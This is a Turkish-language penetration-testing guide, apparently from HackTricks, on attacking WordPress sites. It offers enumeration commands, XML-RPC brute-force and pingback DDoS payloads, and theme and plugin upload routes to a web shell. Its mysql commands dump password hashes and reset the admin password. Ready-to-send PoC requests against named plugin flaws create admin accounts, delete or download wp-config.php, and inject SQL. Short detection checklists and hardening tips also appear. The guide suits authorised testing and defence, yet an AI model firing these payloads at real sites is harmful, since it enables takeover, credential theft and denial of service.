Wordpress
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking’i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter’da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.
Temel Bilgiler
-
Uploaded dosyalar şu adrese gider:
http://10.10.10.10/wp-content/uploads/2018/08/a.txt -
Themes files can be found in /wp-content/themes/, bu yüzden tema PHP dosyalarından birini değiştirip RCE elde etmeye çalışıyorsanız muhtemelen bu yolu kullanırsınız. Örneğin: theme twentytwelve kullanıldığında 404.php dosyasına şu adresten erişebilirsiniz: /wp-content/themes/twentytwelve/404.php
-
Another useful url could be: /wp-content/themes/default/404.php
-
wp-config.phpiçinde veritabanı root parolası bulunabilir. -
Kontrol edilecek varsayılan giriş yolları: /wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/
Ana WordPress Dosyaları
index.phplicense.txtsürüm gibi yararlı bilgiler içerir.wp-activate.phpyeni bir WordPress sitesi kurulurken e-posta aktivasyon süreci için kullanılır.- Giriş klasörleri (gizlemek için yeniden adlandırılmış olabilir):
/wp-admin/login.php/wp-admin/wp-login.php/login.php/wp-login.phpxmlrpc.phpHTTP taşıma mekanizması, XML ise kodlama mekanizması olarak hareket ederek veri iletimine izin veren WordPress özelliğini temsil eden bir dosyadır. Bu tür iletişim WordPress REST API ile değiştirilmiştir.wp-contentklasörü eklentilerin ve temaların saklandığı ana dizindir.wp-content/uploads/platforma yüklenen tüm dosyaların saklandığı dizindir.wp-includes/sertifikalar, fontlar, JavaScript dosyaları ve widget’lar gibi çekirdek dosyaların bulunduğu dizindir.wp-sitemap.xmlWordPress 5.5 ve üzeri sürümlerde, tüm genel gönderileri ve genel olarak sorgulanabilir gönderi türleri ve taksonomilerle birlikte bir sitemap XML dosyası oluşturur.
Post exploitation
wp-config.phpdosyası WordPress’in veritabanına bağlanmak için gereken veritabanı adı, veritabanı hostu, kullanıcı adı ve parola, kimlik doğrulama anahtarları ve salts ve veritabanı tablo öneki gibi bilgileri içerir. Bu yapılandırma dosyası ayrıca DEBUG modunu etkinleştirmek için de kullanılabilir; bu, sorun gidermede faydalı olabilir.
Kullanıcı İzinleri
- Administrator
- Editor: Kendi ve diğerlerinin gönderilerini yayınlar ve yönetir
- Author: Kendi gönderilerini yayınlar ve yönetir
- Contributor: Gönderilerini yazar ve yönetir fakat yayınlayamaz
- Subscriber: Gönderileri görüntüler ve profilini düzenler
Passive Enumeration
WordPress sürümünü öğrenme
/license.txt veya /readme.html dosyalarını bulup bulamayacağınıza bakın
Sayfanın source code içinde (örnek: https://wordpress.org/support/article/pages/):
- grep
curl https://victim.com/ | grep 'content="WordPress'
meta name
.png)
- CSS bağlantı dosyaları
.png)
- JavaScript dosyaları
.png)
Eklentileri Al
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
Temaları Al
curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
Sürümleri genel olarak çıkarma
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
Aktif keşif
Eklentiler ve Temalar
Muhtemelen tüm Eklentileri ve Temaları bulamayacaksınız. Hepsini keşfetmek için bir eklenti ve tema listesini aktif olarak Brute Force etmeniz gerekecek (umarız bizim için bu listeleri içeren otomatik araçlar vardır).
Kullanıcılar
- ID Brute: Bir WordPress sitesinden geçerli kullanıcıları, kullanıcı ID’lerini Brute Forcing yaparak elde edersiniz:
curl -s -I -X GET http://blog.example.com/?author=1
If the responses are 200 or 30X, that means that the id is valid. If the the response is 400, then the id is invalid.
- wp-json: You can also try to get information about the users by querying:
curl http://blog.example.com/wp-json/wp/v2/users
Kullanıcılar hakkında bazı bilgiler ortaya çıkarabilecek bir başka /wp-json/ endpoint şudur:
curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
Bu uç noktanın yalnızca gönderi yapmış kullanıcıları açığa çıkardığını unutmayın. Sadece bu özellik etkin olan kullanıcılarla ilgili bilgi sağlanacaktır.
Ayrıca /wp-json/wp/v2/pages IP adreslerini leak edebilir.
- Login username enumeration: Giriş yaparken
/wp-login.phpüzerinde gösterilen mesaj, belirtilen kullanıcı adının var olup olmadığı durumuna göre farklıdır.
XML-RPC
Eğer xml-rpc.php aktifse credentials brute-force yapabilir veya diğer kaynaklara DoS saldırıları başlatmak için kullanabilirsiniz. (Bu süreci otomatikleştirebilirsiniz, örneğin using this).
Aktif olup olmadığını görmek için /xmlrpc.php’e erişmeyi deneyin ve bu isteği gönderin:
Kontrol
<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>

Credentials Bruteforce
wp.getUserBlogs, wp.getCategories veya metaWeblog.getUsersBlogs credentials’ı brute-force etmek için kullanılabilecek yöntemlerden bazılarıdır. Eğer bunlardan herhangiğini bulursanız şu şekilde bir şey gönderebilirsiniz:
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>admin</value></param>
<param><value>pass</value></param>
</params>
</methodCall>
200 kodlu bir yanıtta, kimlik bilgilerinin geçersiz olması durumunda “Incorrect username or password” mesajı görünmelidir.
 (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png)
.png)
Doğru kimlik bilgilerini kullanarak bir dosya yükleyebilirsiniz. Yanıtta dosya yolu görünecektir (https://gist.github.com/georgestephanis/5681982)
<?xml version='1.0' encoding='utf-8'?>
<methodCall>
<methodName>wp.uploadFile</methodName>
<params>
<param><value><string>1</string></value></param>
<param><value><string>username</string></value></param>
<param><value><string>password</string></value></param>
<param>
<value>
<struct>
<member>
<name>name</name>
<value><string>filename.jpg</string></value>
</member>
<member>
<name>type</name>
<value><string>mime/type</string></value>
</member>
<member>
<name>bits</name>
<value><base64><![CDATA[---base64-encoded-data---]]></base64></value>
</member>
</struct>
</value>
</param>
</params>
</methodCall>
Also there is a daha hızlı bir yol to brute-force credentials using system.multicall as you can try several credentials on the same request:
.png)
Bypass 2FA
Bu yöntem insanlar için değil programlar için tasarlanmıştır ve eskidir; bu nedenle 2FA’yı desteklemez. Yani geçerli creds’iniz varsa fakat ana giriş 2FA ile korunuyorsa, xmlrpc.php’yi suistimal ederek bu creds ile 2FA’yı atlayıp login yapabiliyor olabilirsiniz. Konsoldan yapabildiğiniz tüm işlemleri gerçekleştiremeyebileceğinizi unutmayın, ancak Ippsec’in https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s videosunda açıkladığı gibi yine de RCE’ye ulaşabiliyor olabilirsiniz.
DDoS veya port scanning
Eğer listede pingback.ping metodunu bulabilirseniz Wordpress’in herhangi bir host/porta rastgele bir istek göndermesini sağlayabilirsiniz.
Bu, binlerce Wordpress sitesinin tek bir konuma erişmesini sağlayarak o konumda bir DDoS oluşmasına neden olmak için kullanılabilir veya Wordpress’in bazı iç ağları taramasını sağlamak için kullanılabilir (herhangi bir port belirtilebilir).
<methodCall>
<methodName>pingback.ping</methodName>
<params><param>
<value><string>http://<YOUR SERVER >:<port></string></value>
</param><param><value><string>http://<SOME VALID BLOG FROM THE SITE ></string>
</value></param></params>
</methodCall>

Eğer faultCode değeri 0’dan (17) büyük ise, bu portun açık olduğu anlamına gelir.
Önceki bölümde system.multicall kullanımına bakın; bu yöntemi kötüye kullanarak DDoS’a yol açmayı öğrenin.
DDoS
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>http://target/</string></value></param>
<param><value><string>http://yoursite.com/and_some_valid_blog_post_url</string></value></param>
</params>
</methodCall>
.png)
wp-cron.php DoS
Bu dosya genellikle Wordpress sitesinin kök dizininde bulunur: /wp-cron.php
Bu dosyaya erişildiğinde yoğun bir MySQL query çalıştırılır, bu yüzden saldırganlar tarafından DoS oluşturmak için kullanılabilir.
Ayrıca, varsayılan olarak wp-cron.php her sayfa yüklemesinde (bir istemci herhangi bir Wordpress sayfası talep ettiğinde) çağrılır; yüksek trafikli sitelerde bu durum sorunlara (DoS) yol açabilir.
Wp-Cron’u devre dışı bırakıp, gereken işlemleri düzenli aralıklarla (sorun oluşturmayacak şekilde) gerçekleştirecek gerçek bir cronjob’u host içinde oluşturmanız önerilir.
/wp-json/oembed/1.0/proxy - SSRF
Şuraya erişmeyi deneyin: https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net — ve Worpress sitesi size bir istek yapabilir.
This is the response when it doesn’t work:
.png)
SSRF
https://github.com/t0gu/quickpress/blob/master/core/requests.go
Bu araç methodName: pingback.ping ve /wp-json/oembed/1.0/proxy yolunu kontrol eder; eğer mevcutsa, bunları exploit etmeye çalışır.
Otomatik Araçlar
cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
#You can try to bruteforce the admin user using wpscan with "-U admin"
Bir biti üzerine yazarak erişim elde etme
Gerçek bir saldırıdan ziyade bu bir merak konusudur. CTF’de https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man herhangi bir wordpress dosyasındaki 1 biti değiştirebiliyordunuz. Böylece /var/www/html/wp-includes/user.php dosyasının 5389 konumundaki biti NOP yaparak NOT (!) işlemini etkisizleştirebilirdiniz.
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(
Panel RCE
Kullanılan temadaki bir php’yi değiştirme (admin credentials gerekli)
Appearance → Theme Editor → 404 Template (sağda)
İçeriği php shell için değiştirin:
.png)
Güncellenen sayfaya nasıl erişileceğini internette araştırın. Bu durumda şu adrese erişmeniz gerekiyor: http://10.11.1.234/wp-content/themes/twentytwelve/404.php
MSF
Şunu kullanabilirsiniz:
use exploit/unix/webapp/wp_admin_shell_upload
bir oturum elde etmek.
Eklenti RCE
PHP eklentisi
.php dosyalarını bir eklenti olarak yüklemek mümkün olabilir.
Örneğin şu şekilde bir php backdoor oluşturun:
.png)
Sonra yeni bir eklenti ekleyin:
.png)
Eklentiyi yükleyin ve Install Now düğmesine basın:
.png)
Procced’e tıklayın:
.png)
Muhtemelen görünürde bir şey yapmaz, ancak Media’ya giderseniz yüklenen shell’i göreceksiniz:
.png)
Erişin ve reverse shell’i çalıştırmak için URL’yi göreceksiniz:
.png)
Kötü amaçlı eklenti yükleme ve aktifleştirme
Bu yöntem, zafiyeti bilinen ve web shell elde etmek için sömürülebilecek kötü amaçlı bir eklentinin kurulmasını kapsar. Bu işlem WordPress dashboard üzerinden şu şekilde gerçekleştirilir:
- Plugin Acquisition: Eklenti, Exploit DB gibi bir kaynaktan edinilir, örneğin here.
- Plugin Installation:
- WordPress dashboard’una gidin, ardından
Dashboard > Plugins > Upload Pluginyolunu izleyin. - İndirilen eklentinin zip dosyasını yükleyin.
- Plugin Activation: Eklenti başarıyla kurulduktan sonra dashboard üzerinden aktifleştirilmelidir.
- Exploitation:
- “reflex-gallery” eklentisi yüklü ve etkinleştirilmişse, zafiyeti bilindiği için sömürülebilir.
- Metasploit framework’ü bu zafiyet için bir exploit sağlar. Uygun modül yüklenip belirli komutlar çalıştırıldığında, siteye yetkisiz erişim sağlayan bir meterpreter oturumu kurulabilir.
- Bunun bir WordPress sitesini sömürmenin birçok yönteminden sadece biri olduğu unutulmamalıdır.
İçerik, eklentiyi yükleme ve aktifleştirme adımlarını gösteren görsel öğeler içerir. Ancak, bu şekilde zafiyetleri sömürmenin uygun yetki olmadan yasa dışı ve etik dışı olduğunu belirtmek önemlidir. Bu bilgiler sorumlu bir şekilde ve yalnızca yasal bir bağlamda, örneğin açık izin ile yapılan penetration testing gibi durumlarda kullanılmalıdır.
For more detailed steps check: https://www.hackingarticles.in/wordpress-reverse-shell/
From XSS to RCE
- WPXStrike: WPXStrike WordPress’te bir Cross-Site Scripting (XSS) zafiyetini Remote Code Execution (RCE) veya diğer kritik zafiyetlere yükseltmek için tasarlanmış bir script’tir. Daha fazla bilgi için this post bakın. Ayrıca Wordpress Versions 6.X.X, 5.X.X and 4.X.X için destek sağlar ve şunlara olanak verir:
- Privilege Escalation: WordPress’te bir kullanıcı oluşturur.
- (RCE) Custom Plugin (backdoor) Upload: Özel plugin’inizi (backdoor) WordPress’e yükleyin.
- (RCE) Built-In Plugin Edit: WordPress’teki yerleşik eklentileri düzenleyin.
- (RCE) Built-In Theme Edit: WordPress’teki yerleşik temaları düzenleyin.
- (Custom) Custom Exploits: Üçüncü taraf WordPress eklentileri/temaları için özel exploits.
Post Exploitation
Kullanıcı adları ve parolaları çıkarın:
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"
Admin parolasını değiştir:
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"
Wordpress Plugins Pentest
Saldırı Yüzeyi
Bir Wordpress eklentisinin işlevselliği nasıl açığa çıkarabileceğini bilmek, eklentinin işlevlerindeki güvenlik açıklarını bulmak için anahtardır. Bir eklentinin işlevselliği nasıl açığa çıkarabileceğini aşağıdaki maddelerde ve bazı örnek savunmasız eklentiler için this blog post içerisinde bulabilirsiniz.
wp_ajax
Bir eklentinin işlevlerini kullanıcılara açmasının yollarından biri AJAX handlers aracılığıyladır. Bu fonksiyonlar mantık, authorization veya authentication hataları içerebilir. Ayrıca, bu fonksiyonların hem authentication hem authorization’ı, Wordpress instance’ında kimliği doğrulanmış herhangi bir kullanıcının sahip olabileceği (rolünden bağımsız olarak) bir wordpress nonce’un varlığına dayandırması oldukça sık görülür.
These are the functions that can be used to expose a function in a plugin:
add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));
nopriv kullanımı endpoint’i herhangi bir kullanıcı tarafından (hatta kimlik doğrulaması yapılmamış kullanıcılar dahil) erişilebilir hale getirir.
Caution
Ayrıca, eğer fonksiyon kullanıcının yetkilendirmesini sadece
wp_verify_noncefonksiyonu ile kontrol ediyorsa, bu fonksiyon yalnızca kullanıcının oturum açmış olduğunu doğrular; genellikle kullanıcının rolünü kontrol etmez. Bu nedenle düşük ayrıcalıklı kullanıcılar yüksek ayrıcalıklı işlemlere erişebilir.
- REST API
Ayrıca, wordpress’ten fonksiyonları register_rest_route fonksiyonunu kullanarak bir REST API kaydederek açığa çıkarmak da mümkündür:
register_rest_route(
$this->namespace, '/get/', array(
'methods' => WP_REST_Server::READABLE,
'callback' => array($this, 'getData'),
'permission_callback' => '__return_true'
)
);
The permission_callback API metodunu çağırmaya yetkili olup olmadığını kontrol eden bir callback fonksiyonudur.
Eğer dahili __return_true fonksiyonu kullanılıyorsa, kullanıcı izinleri kontrolünü basitçe atlayacaktır.
- PHP dosyasına doğrudan erişim
Elbette, Wordpress PHP kullanır ve eklenti içindeki dosyalar web üzerinden doğrudan erişilebilir. Bu yüzden, eğer bir eklenti sadece dosyaya erişmekle tetiklenen herhangi bir zafiyetli işlevsellik açıyorsa, bu herhangi bir kullanıcı tarafından istismar edilebilir.
Trusted-header REST impersonation (WooCommerce Payments ≤ 5.6.1)
Bazı eklentiler dahili entegrasyonlar veya reverse proxies için “trusted header” kısayolları uygular ve ardından bu header’ı REST istekleri için mevcut kullanıcı bağlamını ayarlamak için kullanır. Eğer header upstream bir bileşen tarafından kriptografik olarak isteğe bağlanmamışsa, bir saldırgan bunu taklit edebilir ve ayrıcalıklı REST rotalarına administrator olarak erişebilir.
- Etkisi: kimlik doğrulaması yapılmamış yetki yükseltme ile admin’e erişim — core users REST route üzerinden yeni bir administrator oluşturarak.
- Example header:
X-Wcpay-Platform-Checkout-User: 1(kullanıcı ID’sini 1 olarak zorlar, genellikle ilk administrator hesabı). - Exploited route:
POST /wp-json/wp/v2/userswith an elevated role array.
PoC
POST /wp-json/wp/v2/users HTTP/1.1
Host: <WP HOST>
User-Agent: Mozilla/5.0
Accept: application/json
Content-Type: application/json
X-Wcpay-Platform-Checkout-User: 1
Content-Length: 114
{"username": "honeypot", "email": "wafdemo@patch.stack", "password": "demo", "roles": ["administrator"]}
Neden işe yarıyor
- Eklenti, istemci tarafından kontrol edilen bir başlığı kimlik doğrulama durumuna eşleyip yetki kontrollerini atlıyor.
- WordPress çekirdeği bu rota için
create_usersyetkisini bekler; eklenti hilesi bu kontrole takılmayıp başlıktan doğrudan mevcut kullanıcı bağlamını ayarlayarak engeli aşıyor.
Beklenen başarı göstergeleri
- JSON gövdesiyle birlikte HTTP 201, oluşturulan kullanıcıyı tanımlayan bir cevap.
wp-admin/users.phpiçinde görünen yeni bir admin kullanıcı.
Tespit kontrol listesi
getallheaders(),$_SERVER['HTTP_...']veya kullanıcı bağlamını ayarlamak için özel başlıkları okuyan vendor SDK’ları (ör.wp_set_current_user(),wp_set_auth_cookie()) için grep ile ara.- Güçlü
permission_callbackkontrolleri olmayan ve bunun yerine istek başlıklarına dayanan ayrıcalıklı callback’ler için REST kayıtlarını gözden geçir. - REST handler’ları içinde yalnızca başlık değerleri ile sınırlandırılmış core kullanıcı yönetim fonksiyonlarının (
wp_insert_user,wp_create_user) kullanımına bak.
Unauthenticated Arbitrary File Deletion via wp_ajax_nopriv (Litho Theme <= 3.0)
WordPress temaları ve eklentileri sıklıkla wp_ajax_ ve wp_ajax_nopriv_ hook’ları üzerinden AJAX handler’ları açığa çıkarır. nopriv varyantı kullanıldığında callback yetkisiz ziyaretçiler tarafından erişilebilir hale gelir, bu yüzden herhangi bir hassas işlem ek olarak şu kontrolleri uygulamalıdır:
- Bir yetki kontrolü (ör.
current_user_can()veya en azındanis_user_logged_in()), ve check_ajax_referer()/wp_verify_nonce()ile doğrulanan bir CSRF nonce, ve- Sıkı girdi temizleme/doğrulama.
Litho multipurpose tema (< 3.1), Remove Font Family özelliğinde bu 3 kontrolü unutmuş ve sonuç olarak aşağıdaki kodu (basitleştirilmiş) dağıtmıştı:
function litho_remove_font_family_action_data() {
if ( empty( $_POST['fontfamily'] ) ) {
return;
}
$fontfamily = str_replace( ' ', '-', $_POST['fontfamily'] );
$upload_dir = wp_upload_dir();
$srcdir = untrailingslashit( wp_normalize_path( $upload_dir['basedir'] ) ) . '/litho-fonts/' . $fontfamily;
$filesystem = Litho_filesystem::init_filesystem();
if ( file_exists( $srcdir ) ) {
$filesystem->delete( $srcdir, FS_CHMOD_DIR );
}
die();
}
add_action( 'wp_ajax_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
Bu kod parçasının getirdiği sorunlar:
- Unauthenticated access – the
wp_ajax_nopriv_hook kayıtlı. - No nonce / capability check – herhangi bir ziyaretçi endpoint’e istek gönderebilir.
- No path sanitisation – kullanıcı tarafından kontrol edilen
fontfamilydizesi filtrelenmeden bir dosya sistemi yoluna ekleniyor, klasik../../traversal’ına izin veriyor.
Exploitation
Bir saldırgan tek bir HTTP POST isteği göndererek uploads ana dizininin altındaki (genelde <wp-root>/wp-content/uploads/) herhangi bir dosyayı veya dizini silebilir:
curl -X POST https://victim.com/wp-admin/admin-ajax.php \
-d 'action=litho_remove_font_family_action_data' \
-d 'fontfamily=../../../../wp-config.php'
Because wp-config.php lives outside uploads, four ../ sequences are enough on a default installation. Deleting wp-config.php forces WordPress into the installation wizard on the next visit, enabling a full site take-over (the attacker merely supplies a new DB configuration and creates an admin user).
Other impactful targets include plugin/theme .php files (to break security plugins) or .htaccess rules.
Detection checklist
- Any
add_action( 'wp_ajax_nopriv_...')callback that calls filesystem helpers (copy(),unlink(),$wp_filesystem->delete(), etc.). - Concatenation of unsanitised user input into paths (look for
$_POST,$_GET,$_REQUEST). - Absence of
check_ajax_referer()andcurrent_user_can()/is_user_logged_in().
Privilege escalation via stale role restoration and missing authorization (ASE “View Admin as Role”)
Birçok plugin, orijinal role(leri) user meta içinde saklayarak daha sonra geri yüklenebilmeleri için “view as role” veya geçici role-değiştirme özelliği uygular. Eğer geri yükleme yolu sadece istek parametrelerine (ör. $_REQUEST['reset-for']) ve plugin tarafından yönetilen bir listeye dayanıyor, yetenekler (capabilities) kontrolü ve geçerli bir nonce doğrulaması yapılmıyorsa, bu dikey ayrıcalık yükseltmeye (vertical privilege escalation) yol açar.
Gerçek dünya örneği Admin and Site Enhancements (ASE) plugininde (≤ 7.6.2.1) bulundu. Reset dalı, kullanıcı adı dahili bir dizi $options['viewing_admin_as_role_are'] içinde görünüyorsa reset-for=<username> bazında rolleri geri yüklüyordu, ancak mevcut rolleri kaldırmadan ve user meta _asenha_view_admin_as_original_roles içindeki kaydedilmiş rolleri yeniden eklemeden önce ne bir current_user_can() kontrolü ne de bir nonce doğrulaması yapıyordu:
// Simplified vulnerable pattern
if ( isset( $_REQUEST['reset-for'] ) ) {
$reset_for_username = sanitize_text_field( $_REQUEST['reset-for'] );
$usernames = get_option( ASENHA_SLUG_U, [] )['viewing_admin_as_role_are'] ?? [];
if ( in_array( $reset_for_username, $usernames, true ) ) {
$u = get_user_by( 'login', $reset_for_username );
foreach ( $u->roles as $role ) { $u->remove_role( $role ); }
$orig = (array) get_user_meta( $u->ID, '_asenha_view_admin_as_original_roles', true );
foreach ( $orig as $r ) { $u->add_role( $r ); }
}
}
Neden istismara açık
- Sunucu tarafı yetkilendirmesi olmadan
$_REQUEST['reset-for']ve bir plugin seçeneğine güveniyor. - Eğer bir kullanıcının daha yüksek ayrıcalıkları
_asenha_view_admin_as_original_rolesiçinde kaydedilmişse ve ayrıcalıkları düşürülmüşse, sıfırlama yolunu tetikleyerek bunları geri yükleyebilir. - Bazı dağıtımlarda, herhangi bir kimliği doğrulanmış kullanıcı
viewing_admin_as_role_areiçinde hâlâ bulunan başka bir kullanıcı adı için sıfırlamayı tetikleyebilir (kırık yetkilendirme).
İstismar (örnek)
# While logged in as the downgraded user (or any auth user able to trigger the code path),
# hit any route that executes the role-switcher logic and include the reset parameter.
# The plugin uses $_REQUEST, so GET or POST works. The exact route depends on the plugin hooks.
curl -s -k -b 'wordpress_logged_in=...' \
'https://victim.example/wp-admin/?reset-for=<your_username>'
Zafiyetli sürümlerde bu, mevcut rolleri kaldırır ve kaydedilmiş orijinal rolleri (ör. administrator) yeniden ekler; etkili olarak ayrıcalıkları yükseltir.
Detection checklist
- Kullanıcı meta’sında “orijinal roller”i (ör.
_asenha_view_admin_as_original_roles) saklayan rol-değiştirme özelliklerini arayın. - Aşağıdaki reset/restore yollarını belirleyin:
- Kullanıcı adlarını
$_REQUEST/$_GET/$_POSTüzerinden okuyan. current_user_can()vewp_verify_nonce()/check_admin_referer()kontrolleri olmadanadd_role()/remove_role()ile rolleri değiştiren.- Yetkilendirmeyi aktörün yetenekleri yerine bir eklenti seçenek dizisine (ör.
viewing_admin_as_role_are) dayandıran.
Kimlik doğrulanmamış ayrıcalık yükseltme via cookie‑trusted user switching on public init (Service Finder “sf-booking”)
Bazı eklentiler kullanıcı-değiştirme yardımcılarını public init hook’una bağlar ve kimliği istemci kontrollü bir cookie’den türetir. Eğer kod kimlik doğrulama, yetki ve geçerli bir nonce’u doğrulamadan wp_set_auth_cookie() çağırıyorsa, herhangi bir kimlik doğrulanmamış ziyaretçi rastgele bir kullanıcı ID’si ile giriş yapmaya zorlayabilir.
Tipik zafiyetli desen (Service Finder Bookings ≤ 6.1’den basitleştirilmiş):
function service_finder_submit_user_form(){
if ( isset($_GET['switch_user']) && is_numeric($_GET['switch_user']) ) {
$user_id = intval( sanitize_text_field($_GET['switch_user']) );
service_finder_switch_user($user_id);
}
if ( isset($_GET['switch_back']) ) {
service_finder_switch_back();
}
}
add_action('init', 'service_finder_submit_user_form');
function service_finder_switch_back() {
if ( isset($_COOKIE['original_user_id']) ) {
$uid = intval($_COOKIE['original_user_id']);
if ( get_userdata($uid) ) {
wp_set_current_user($uid);
wp_set_auth_cookie($uid); // 🔥 sets auth for attacker-chosen UID
do_action('wp_login', get_userdata($uid)->user_login, get_userdata($uid));
setcookie('original_user_id', '', time() - 3600, '/');
wp_redirect( admin_url('admin.php?page=candidates') );
exit;
}
wp_die('Original user not found.');
}
wp_die('No original user found to switch back to.');
}
Neden istismar edilebilir
- Açık
inithook, handler’ı unauthenticated users tarafından erişilebilir kılar (nois_user_logged_in()guard). - Kimlik, client-modifiable cookie (
original_user_id)’dan türetilir. - Doğrudan
wp_set_auth_cookie($uid)çağrısı isteği yapanı herhangi bir capability/nonce kontrolü olmadan o kullanıcı olarak oturum açtırır.
İstismar (unauthenticated)
GET /?switch_back=1 HTTP/1.1
Host: victim.example
Cookie: original_user_id=1
User-Agent: PoC
Connection: close
WAF considerations for WordPress/plugin CVEs
Generic edge/server WAFs are tuned for broad patterns (SQLi, XSS, LFI). Many high‑impact WordPress/plugin flaws are application-specific logic/auth bugs that look like benign traffic unless the engine understands WordPress routes and plugin semantics.
Offensive notes
- Target plugin-specific endpoints with clean payloads:
admin-ajax.php?action=...,wp-json/<namespace>/<route>, custom file handlers, shortcodes. - Exercise unauth paths first (AJAX
nopriv, REST with permissivepermission_callback, public shortcodes). Default payloads often succeed without obfuscation. - Typical high-impact cases: privilege escalation (broken access control), arbitrary file upload/download, LFI, open redirect.
Defensive notes
- Don’t rely on generic WAF signatures to protect plugin CVEs. Implement application-layer, vulnerability-specific virtual patches or update quickly.
- Prefer positive-security checks in code (capabilities, nonces, strict input validation) over negative regex filters.
WordPress Protection
Regular Updates
Make sure WordPress, plugins, and themes are up to date. Also confirm that automated updating is enabled in wp-config.php:
define( 'WP_AUTO_UPDATE_CORE', true );
add_filter( 'auto_update_plugin', '__return_true' );
add_filter( 'auto_update_theme', '__return_true' );
Ayrıca, yalnızca güvenilir WordPress eklentilerini ve temalarını yükleyin.
Güvenlik Eklentileri
Diğer Öneriler
- Varsayılan admin kullanıcısını kaldırın
- Güçlü parolalar ve 2FA kullanın
- Kullanıcı izinlerini periyodik olarak gözden geçirin
- Giriş denemelerini sınırlayın — Brute Force saldırılarını önlemek için
wp-admin.phpdosyasının adını değiştirin ve yalnızca dahili veya belirli IP adreslerinden erişime izin verin.
Yetersiz doğrulama nedeniyle kimlik doğrulama gerektirmeyen SQL Injection (WP Job Portal <= 2.3.2)
WP Job Portal işe alım eklentisi, savecategory adlı bir görevi açığa çıkardı; bu görev en sonunda modules/category/model.php::validateFormData() içindeki aşağıdaki savunmasız kodu çalıştırır:
$category = WPJOBPORTALrequest::getVar('parentid');
$inquery = ' ';
if ($category) {
$inquery .= " WHERE parentid = $category "; // <-- direct concat ✗
}
$query = "SELECT max(ordering)+1 AS maxordering FROM "
. wpjobportal::$_db->prefix . "wj_portal_categories " . $inquery; // executed later
Issues introduced by this snippet:
- Temizlenmemiş kullanıcı girdisi –
parentidHTTP isteğinden doğrudan geliyor. - WHERE cümlesinde string birleştirme –
is_numeric()/esc_sql()/ prepared statement yok. - Kimlik doğrulaması gerektirmeyen erişim – action
admin-post.phpüzerinden çalıştırılsa da mevcut tek kontrol CSRF nonce (wp_verify_nonce()), ve herhangi bir ziyaretçi[wpjobportal_my_resumes]shortcode’unu içeren herkese açık bir sayfadan bunu alabilir.
İstismar
- Yeni bir nonce al:
curl -s https://victim.com/my-resumes/ | grep -oE 'name="_wpnonce" value="[a-f0-9]+' | cut -d'"' -f4
parentid’i suistimal ederek rastgele SQL enjekte et:
curl -X POST https://victim.com/wp-admin/admin-post.php \
-d 'task=savecategory' \
-d '_wpnonce=<nonce>' \
-d 'parentid=0 OR 1=1-- -' \
-d 'cat_title=pwn' -d 'id='
Yanıt, enjekte edilen sorgunun sonucunu açığa çıkarır veya veritabanını değiştirir; bu da SQLi’yi kanıtlar.
Unauthenticated Arbitrary File Download / Path Traversal (WP Job Portal <= 2.3.2)
Another task, downloadcustomfile, allowed visitors to download herhangi bir dosyayı via path traversal. The vulnerable sink is located in modules/customfield/model.php::downloadCustomUploadedFile():
$file = $path . '/' . $file_name;
...
echo $wp_filesystem->get_contents($file); // raw file output
$file_name saldırgan tarafından kontrol ediliyor ve sanitizasyon yapılmadan birleştiriliyor. Yine, tek engel, özgeçmiş sayfasından alınabilecek bir CSRF nonce.
İstismar
curl -G https://victim.com/wp-admin/admin-post.php \
--data-urlencode 'task=downloadcustomfile' \
--data-urlencode '_wpnonce=<nonce>' \
--data-urlencode 'upload_for=resume' \
--data-urlencode 'entity_id=1' \
--data-urlencode 'file_name=../../../wp-config.php'
The server responds with the contents of wp-config.php, leaking DB credentials and auth keys.
